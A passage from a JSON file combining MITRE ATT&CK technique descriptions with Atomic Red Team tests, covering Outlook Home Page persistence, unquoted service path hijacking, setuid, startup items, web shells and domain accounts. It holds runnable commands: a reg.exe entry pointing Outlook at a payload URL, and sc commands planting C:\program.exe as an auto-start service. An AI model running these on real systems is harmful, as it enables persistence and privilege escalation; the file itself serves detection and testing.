- "source_name": "SensePost Outlook Home Page",
- "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/",
- "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."
- },
- {
- "source_name": "Microsoft Detect Outlook Forms",
- "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
- "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
- },
- {
- "source_name": "SensePost NotRuler",
- "url": "https://github.com/sensepost/notruler",
- "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
- }
- ],
- "modified": "2021-08-16T21:30:01.743Z",
- "name": "Office Application Startup: Outlook Home Page",
- "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1137.004"
- },
- "atomic_tests": [
- {
- "name": "Install Outlook Home Page Persistence",
- "auto_generated_guid": "7a91ad51-e6d2-4d43-9471-f26362f5738e",
- "description": "This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.\n\nTriggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url": {
- "description": "URL to Outlook Home Page containing the payload to execute (can be local file:// or remote https://)",
- "type": "string",
- "default": "file://PathToAtomicsFolder\\T1137.004\\src\\T1137.004.html"
- },
- "outlook_version": {
- "description": "Version of Outlook that is installed",
- "type": "string",
- "default": 16.0
- },
- "outlook_folder": {
- "description": "Name of the Outlook folder to modify the homepage setting for",
- "type": "string",
- "default": "Inbox"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "reg.exe add HKCU\\Software\\Microsoft\\Office\\#{outlook_version}\\Outlook\\WebView\\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f\n",
- "cleanup_command": "reg.exe delete HKCU\\Software\\Microsoft\\Office\\#{outlook_version}\\Outlook\\WebView\\#{outlook_folder} /v URL /f >nul 2>&1\n"
- }
- }
- ]
- },
- "T1574.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
- "type": "attack-pattern",
- "created": "2020-03-13T13:51:58.519Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.009",
- "url": "https://attack.mitre.org/techniques/T1574/009"
- },
- {
- "external_id": "CAPEC-38",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/38.html"
- },
- {
- "source_name": "Microsoft CurrentControlSet Services",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020."
- },
- {
- "source_name": "Help eliminate unquoted path",
- "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012."
- },
- {
- "source_name": "Windows Unquoted Services",
- "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
- "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018."
- },
- {
- "source_name": "Windows Privilege Escalation Guide",
- "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
- "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018."
- }
- ],
- "modified": "2020-09-17T19:05:23.755Z",
- "name": "Hijack Execution Flow: Path Interception by Unquoted Path",
- "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe
vs. \"C:\\safe path with space\\program.exe\"
). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe
, an adversary may create a program at C:\\program.exe
that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "File: File Modification"
- ],
- "identifier": "T1574.009"
- },
- "atomic_tests": [
- {
- "name": "Execution of program.exe as service with unquoted service path",
- "auto_generated_guid": "2770dea7-c50f-457b-84c4-c40a47460d9f",
- "description": "When a service is created whose executable path contains spaces and isn\u2019t enclosed within quotes, leads to a vulnerability\nknown as Unquoted Service Path which allows a user to gain SYSTEM privileges.\nIn this case, if an executable program.exe in C:\\ exists, C:\\program.exe will be executed instead of test.exe in C:\\Program Files\\subfolder\\test.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_executable": {
- "description": "Path of the executable used for the service and as the hijacked program.exe",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe"
- }
- },
- "executor": {
- "command": "copy #{service_executable} \"C:\\Program Files\\windows_service.exe\"\ncopy #{service_executable} \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n",
- "cleanup_command": "sc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1168": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1168",
- "url": "https://attack.mitre.org/techniques/T1168"
- },
- {
- "url": "https://linux.die.net/man/5/crontab",
- "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
- "source_name": "Die.net Linux crontab Man Page"
- },
- {
- "url": "https://linux.die.net/man/1/at",
- "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
- "source_name": "Die.net Linux at Man Page"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
- "description": "Apple. (n.d.). Retrieved July 17, 2017.",
- "source_name": "AppleDocs Scheduling Timed Jobs"
- },
- {
- "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
- "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
- "source_name": "Janicab"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- },
- {
- "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/",
- "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
- "source_name": "Avast Linux Trojan Cron Persistence"
- }
- ],
- "modified": "2021-03-30T00:51:58.374Z",
- "name": "Local Job Scheduling",
- "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab
file, /etc/cron.d/
directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval
with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1166": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1166",
- "url": "https://attack.mitre.org/techniques/T1166"
- },
- {
- "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
- "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
- "source_name": "setuid man page"
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- }
- ],
- "modified": "2020-02-05T20:09:22.650Z",
- "name": "Setuid and Setgid",
- "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l
. The chmod
program can set these bits with via bitmasking, chmod 4777 [file]
or via shorthand naming, chmod u+s [file]
.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1037.005": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f",
- "created": "2020-01-15T18:00:33.603Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.005",
- "url": "https://attack.mitre.org/techniques/T1037/005"
- },
- {
- "source_name": "Startup Items",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems
isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist
, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
- "modified": "2022-04-20T16:43:21.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Initialization Scripts: Startup Items",
- "x_mitre_detection": "The /Library/StartupItems
folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1037.005"
- },
- "atomic_tests": []
- },
- "T1100": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:13.061Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1100",
- "url": "https://attack.mitre.org/techniques/T1100"
- },
- {
- "external_id": "CAPEC-650",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/650.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
- "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
- "source_name": "Lee 2013"
- },
- {
- "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
- "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
- "source_name": "US-CERT Alert TA15-314A Web Shells"
- }
- ],
- "modified": "2020-03-19T20:22:02.163Z",
- "name": "Web Shell",
- "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n
\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1078.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
- "created": "2020-03-13T20:21:54.758Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.002",
- "url": "https://attack.mitre.org/techniques/T1078/002"
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "source_name": "Microsoft AD Accounts",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
- "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."
- },
- {
- "source_name": "Ubuntu SSSD Docs",
- "url": "https://ubuntu.com/server/docs/service-sssd",
- "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
- "modified": "2022-04-19T20:14:34.479Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domain Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1034": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:36.140Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1034",
- "url": "https://attack.mitre.org/techniques/T1034"
- },
- {
- "external_id": "CAPEC-159",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/159.html"
- },
- {
- "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
- "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
- "source_name": "TechNet MS14-019"
- },
- {
- "url": "http://support.microsoft.com/KB/103000",
- "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
- "source_name": "Microsoft Subkey"
- },
- {
- "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
- "source_name": "Baggett 2012"
- },
- {
- "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
- "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
- "source_name": "SecurityBoulevard Unquoted Services APR 2018"
- },
- {
- "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
- "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
- "source_name": "SploitSpren Windows Priv Jan 2018"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms682425",
- "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
- "source_name": "Microsoft CreateProcess"
- },
- {
- "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
- "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
- "source_name": "Hill NT Shell"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms687393",
- "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
- "source_name": "Microsoft WinExec"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx",
- "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
- "source_name": "MSDN Environment Property"
- }
- ],
- "modified": "2020-07-06T18:49:35.645Z",
- "name": "Path Interception",
- "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe
vs. \"C:\\safe path with space\\program.exe\"
